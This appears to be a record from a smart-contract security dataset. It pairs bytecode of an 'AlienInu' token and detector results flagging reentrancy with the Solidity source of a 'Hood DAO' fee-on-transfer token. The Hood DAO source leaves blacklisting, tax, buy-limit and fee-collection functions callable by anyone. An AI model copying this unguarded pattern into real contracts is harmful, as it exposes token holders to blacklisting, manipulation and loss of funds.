ffffffffffffffffffffffffff160217905550565b610b876113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c51565b60405180910390fd5b67016345785d8a0000600f8190555067016345785d8a0000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f416c69656e496e75000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113ff565b84846115d0565b6001905092915050565b610cc06113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c51565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a8367016345785d8a0000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113ff565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e63565b50565b610e136113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c51565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d63565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000611407565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d98565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d98565b6040518363ffffffff1660e01b8152600401611096929190612dc5565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d98565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612e33565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612ea9565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061123b6103e861122d601467016345785d8a0000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b600f819055506112716103e8611263601e67016345785d8a0000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611331929190612efc565b6020604051808303816000875af1158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190612f3a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d90612fd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc9061306b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c391906128b2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361163f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611636906130fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a59061318f565b60405180910390fd5b600081116116f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e890613221565b60405180910390fd5b6000600a819055506006600b81905550611709610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117775750611747610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118205750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118d45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561192a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119425750600e60179054906101000a900460ff165b15611a8057600f5481111561198c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119839061328d565b60405180910390fd5b60105481611999846109db565b6119a391906132ad565b11156119e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119db9061334f565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2f57600080fd5b601e42611a3c91906132ad565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b2b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b815750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b97576000600a819055506006600b819055505b6000611ba2306109db565b9050600e60159054906101000a900460ff16158015611c0f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c275750600e60169054906101000a900460ff165b15611c4f57611c3581611e63565b60004790506000811115611c4d57611c4c47611d89565b5b505b505b611c5c8383836120dc565b505050565b6000838311158290611ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca09190612763565b60405180910390fd5b5060008385611cb8919061336f565b9050809150509392505050565b6000808303611cd75760009050611d39565b60008284611ce591906133a3565b9050828482611cf4919061342c565b14611d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2b906134cf565b60405180910390fd5b809150505b92915050565b6000611d8183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120ec565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df1573d6000803e3d6000fd5b5050565b6000600854821115611e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3390613561565b60405180910390fd5b6000611e4661214f565b9050611e5b8184611d3f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e9b57611e9a6128d2565b5b604051908082528060200260200182016040528015611ec95781602001602082028036833780820191505090505b5090503081600081518110611ee157611ee0612c71565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fac9190612d98565b81600181518110611fc057611fbf612c71565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611407565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208b95949392919061363f565b600060405180830381600087803b1580156120a557600080fd5b505af11580156120b9573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120e783838361217a565b505050565b60008083118290612133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212a9190612763565b60405180910390fd5b5060008385612142919061342c565b9050809150509392505050565b600080600061215c612345565b915091506121738183611d3f90919063ffffffff16565b9250505090565b60008060008060008061218c876123a4565b9550955095509550955095506121ea86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122cb816124b4565b6122d58483612571565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233291906128b2565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a0000905061237967016345785d8a0000600854611d3f90919063ffffffff16565b8210156123975760085467016345785d8a00009350935050506123a0565b81819350935050505b9091565b60008060008060008060008060006123c18a600a54600b546125ab565b92509250925060006123d161214f565b905060008060006123e48e878787612641565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061244e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c61565b905092915050565b600080828461246591906132ad565b9050838110156124aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a1906136e5565b60405180910390fd5b8091505092915050565b60006124be61214f565b905060006124d58284611cc590919063ffffffff16565b905061252981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125868260085461240c90919063ffffffff16565b6008819055506125a18160095461245690919063ffffffff16565b6009819055505050565b6000806000806125d760646125c9888a611cc590919063ffffffff16565b611d3f90919063ffffffff16565b9050600061260160646125f3888b611cc590919063ffffffff16565b611d3f90919063ffffffff16565b9050600061262a8261261c858c61240c90919063ffffffff16565b61240c90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061265a8589611cc590919063ffffffff16565b905060006126718689611cc590919063ffffffff16565b905060006126888789611cc590919063ffffffff16565b905060006126b1826126a3858761240c90919063ffffffff16565b61240c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156127045780820151818401526020810190506126e9565b83811115612713576000848401525b50505050565b6000601f19601f8301169050919050565b6000612735826126ca565b61273f81856126d5565b935061274f8185602086016126e6565b61275881612719565b840191505092915050565b6000602082019050818103600083015261277d818461272a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127c482612799565b9050919050565b6127d4816127b9565b81146127df57600080fd5b50565b6000813590506127f1816127cb565b92915050565b6000819050919050565b61280a816127f7565b811461281557600080fd5b50565b60008135905061282781612801565b92915050565b600080604083850312156128445761284361278f565b5b6000612852858286016127e2565b925050602061286385828601612818565b9150509250929050565b60008115159050919050565b6128828161286d565b82525050565b600060208201905061289d6000830184612879565b92915050565b6128ac816127f7565b82525050565b60006020820190506128c760008301846128a3565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61290a82612719565b810181811067ffffffffffffffff82111715612929576129286128d2565b5b80604052505050565b600061293c612785565b90506129488282612901565b919050565b600067ffffffffffffffff821115612968576129676128d2565b5b602082029050602081019050919050565b600080fd5b600061299161298c8461294d565b612932565b905080838252602082019050602084028301858111156129b4576129b3612979565b5b835b818110156129dd57806129c988826127e2565b8452602084019350506020810190506129b6565b5050509392505050565b600082601f8301126129fc576129fb6128cd565b5b8135612a0c84826020860161297e565b91505092915050565b600060208284031215612a2b57612a2a61278f565b5b600082013567ffffffffffffffff811115612a4957612a48612794565b5b612a55848285016129e7565b91505092915050565b600080600060608486031215612a7757612a7661278f565b5b6000612a85868287016127e2565b9350506020612a96868287016127e2565b9250506040612aa786828701612818565b9150509250925092565b600060208284031215612ac757612ac661278f565b5b6000612ad5848285016127e2565b91505092915050565b600060ff82169050919050565b612af481612ade565b82525050565b6000602082019050612b0f6000830184612aeb565b92915050565b612b1e8161286d565b8114612b2957600080fd5b50565b600081359050612b3b81612b15565b92915050565b600060208284031215612b5757612b5661278f565b5b6000612b6584828501612b2c565b91505092915050565b600060208284031215612b8457612b8361278f565b5b6000612b9284828501612818565b91505092915050565b612ba4816127b9565b82525050565b6000602082019050612bbf6000830184612b9b565b92915050565b60008060408385031215612bdc57612bdb61278f565b5b6000612bea858286016127e2565b9250506020612bfb858286016127e2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c3b6020836126d5565b9150612c4682612c05565b602082019050919050565b60006020820190508181036000830152612c6a81612c2e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cda826127f7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d0c57612d0b612ca0565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d4d6017836126d5565b9150612d5882612d17565b602082019050919050565b60006020820190508181036000830152612d7c81612d40565b9050919050565b600081519050612d92816127cb565b92915050565b600060208284031215612dae57612dad61278f565b5b6000612dbc84828501612d83565b91505092915050565b6000604082019050612dda6000830185612b9b565b612de76020830184612b9b565b9392505050565b6000819050919050565b6000819050919050565b6000612e1d612e18612e1384612dee565b612df8565b6127f7565b9050919050565b612e2d81612e02565b82525050565b600060c082019050612e486000830189612b9b565b612e5560208301886128a3565b612e626040830187612e24565b612e6f6060830186612e24565b612e7c6080830185612b9b565b612e8960a08301846128a3565b979650505050505050565b600081519050612ea381612801565b92915050565b600080600060608486031215612ec257612ec161278f565b5b6000612ed086828701612e94565b9350506020612ee186828701612e94565b9250506040612ef286828701612e94565b9150509250925092565b6000604082019050612f116000830185612b9b565b612f1e60208301846128a3565b9392505050565b600081519050612f3481612b15565b92915050565b600060208284031215612f5057612f4f61278f565b5b6000612f5e84828501612f25565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fc36024836126d5565b9150612fce82612f67565b604082019050919050565b60006020820190508181036000830152612ff281612fb6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130556022836126d5565b915061306082612ff9565b604082019050919050565b6000602082019050818103600083015261308481613048565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130e76025836126d5565b91506130f28261308b565b604082019050919050565b60006020820190508181036000830152613116816130da565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131796023836126d5565b91506131848261311d565b604082019050919050565b600060208201905081810360008301526131a88161316c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061320b6029836126d5565b9150613216826131af565b604082019050919050565b6000602082019050818103600083015261323a816131fe565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132776019836126d5565b915061328282613241565b602082019050919050565b600060208201905081810360008301526132a68161326a565b9050919050565b60006132b8826127f7565b91506132c3836127f7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132f8576132f7612ca0565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613339601a836126d5565b915061334482613303565b602082019050919050565b600060208201905081810360008301526133688161332c565b9050919050565b600061337a826127f7565b9150613385836127f7565b92508282101561339857613397612ca0565b5b828203905092915050565b60006133ae826127f7565b91506133b9836127f7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133f2576133f1612ca0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613437826127f7565b9150613442836127f7565b925082613452576134516133fd565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134b96021836126d5565b91506134c48261345d565b604082019050919050565b600060208201905081810360008301526134e8816134ac565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061354b602a836126d5565b9150613556826134ef565b604082019050919050565b6000602082019050818103600083015261357a8161353e565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135b6816127b9565b82525050565b60006135c883836135ad565b60208301905092915050565b6000602082019050919050565b60006135ec82613581565b6135f6818561358c565b93506136018361359d565b8060005b8381101561363257815161361988826135bc565b9750613624836135d4565b925050600181019050613605565b5085935050505092915050565b600060a08201905061365460008301886128a3565b6136616020830187612e24565b818103604083015261367381866135e1565b90506136826060830185612b9b565b61368f60808301846128a3565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136cf601b836126d5565b91506136da82613699565b602082019050919050565b600060208201905081810360008301526136fe816136c2565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e6612aa488384d0eea9c581a0672c74623344b0acbc179eb893a8c64b7d7d86d64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,282
0x0df42b1f607e6839773cccc77f9277ee20e2f2ab
/** *Submitted for verification at Etherscan.io on 2022-02-28 */ //SPDX-License-Identifier: MIT /** 🔥Hood DAO Launch soon🔥 🎈Tokenomics🎈 🎈 Symbol: HOOD 💰 Total Supply :40,000,000 💰 Max Buy: 200,000 (0.5%) 💰 Initial Liquidity Pool: 4.5 ETH 🌕 Team Token: Nil 🌕 Tax 9% **/ pragma solidity ^0.8.12; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } uint256 constant INITIAL_TAX=9; uint256 constant TOTAL_SUPPLY=40000000; string constant TOKEN_SYMBOL="HOOD"; string constant TOKEN_NAME="Hood DAO"; uint8 constant DECIMALS=18; uint256 constant TAX_THRESHOLD=1000000000000000000; contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract HoodDAO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _taxFee; address payable private _taxWallet; uint256 public _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(200); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); } require(!bots[from] && !bots[to], "This account is blacklisted"); uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function burn(uint256 percentage) public onlyOwner{ require(_balance[address(this)]>0,"Nothing to burn"); uint256 burnAmount=_balance[address(this)].div(100).mul(percentage); _tokenTransfer(address(this),0x0000000000000000000000000000000000000001, burnAmount,0); } function addToWhitelist(address buyer) public { _isExcludedFromFee[buyer]=true; } function removeFromWhitelist(address buyer) public { _isExcludedFromFee[buyer]=false; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function lowerTax(uint256 newTaxRate) public { require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function removeBuyLimit() public { _maxTxAmount=_tTotal; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function blockBots(address[] memory bots_) public { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public { bots[notbot] = false; } function createUniswapPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } receive() external payable {} function swapForTax() public{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function collectTax() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x60806040526004361061014e5760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb146103fa578063bfd792841461041a578063d49b55d61461044a578063dd62ed3e1461045f578063e43252d7146104a5578063e8078d94146104e457600080fd5b8063715018a61461031e5780637d1db4a5146103335780638ab1d681146103495780638da5cb5b1461038557806395d89b41146103ad5780639e752b95146103da57600080fd5b80633d8705ab116101085780633d8705ab1461024a5780633e07ce5b1461025f57806342966c68146102775780634a131672146102975780636b999053146102ac57806370a08231146102e857600080fd5b8062b8cf2a1461015a57806306fdde031461017c578063095ea7b3146101bf57806318160ddd146101ef57806323b872dd1461020e578063313ce5671461022e57600080fd5b3661015557005b600080fd5b34801561016657600080fd5b5061017a610175366004611459565b6104f9565b005b34801561018857600080fd5b50604080518082019091526008815267486f6f642044414f60c01b60208201525b6040516101b6919061151e565b60405180910390f35b3480156101cb57600080fd5b506101df6101da366004611573565b610565565b60405190151581526020016101b6565b3480156101fb57600080fd5b506006545b6040519081526020016101b6565b34801561021a57600080fd5b506101df61022936600461159f565b61057c565b34801561023a57600080fd5b50604051601281526020016101b6565b34801561025657600080fd5b5061017a6105e5565b34801561026b57600080fd5b5061017a600654600955565b34801561028357600080fd5b5061017a6102923660046115e0565b6105f2565b3480156102a357600080fd5b5061017a6106aa565b3480156102b857600080fd5b5061017a6102c73660046115f9565b6001600160a01b03166000908152600560205260409020805460ff19169055565b3480156102f457600080fd5b506102006103033660046115f9565b6001600160a01b031660009081526002602052604090205490565b34801561032a57600080fd5b5061017a610944565b34801561033f57600080fd5b5061020060095481565b34801561035557600080fd5b5061017a6103643660046115f9565b6001600160a01b03166000908152600460205260409020805460ff19169055565b34801561039157600080fd5b506000546040516001600160a01b0390911681526020016101b6565b3480156103b957600080fd5b506040805180820190915260048152631213d3d160e21b60208201526101a9565b3480156103e657600080fd5b5061017a6103f53660046115e0565b6109b8565b34801561040657600080fd5b506101df610415366004611573565b6109ca565b34801561042657600080fd5b506101df6104353660046115f9565b60056020526000908152604090205460ff1681565b34801561045657600080fd5b5061017a6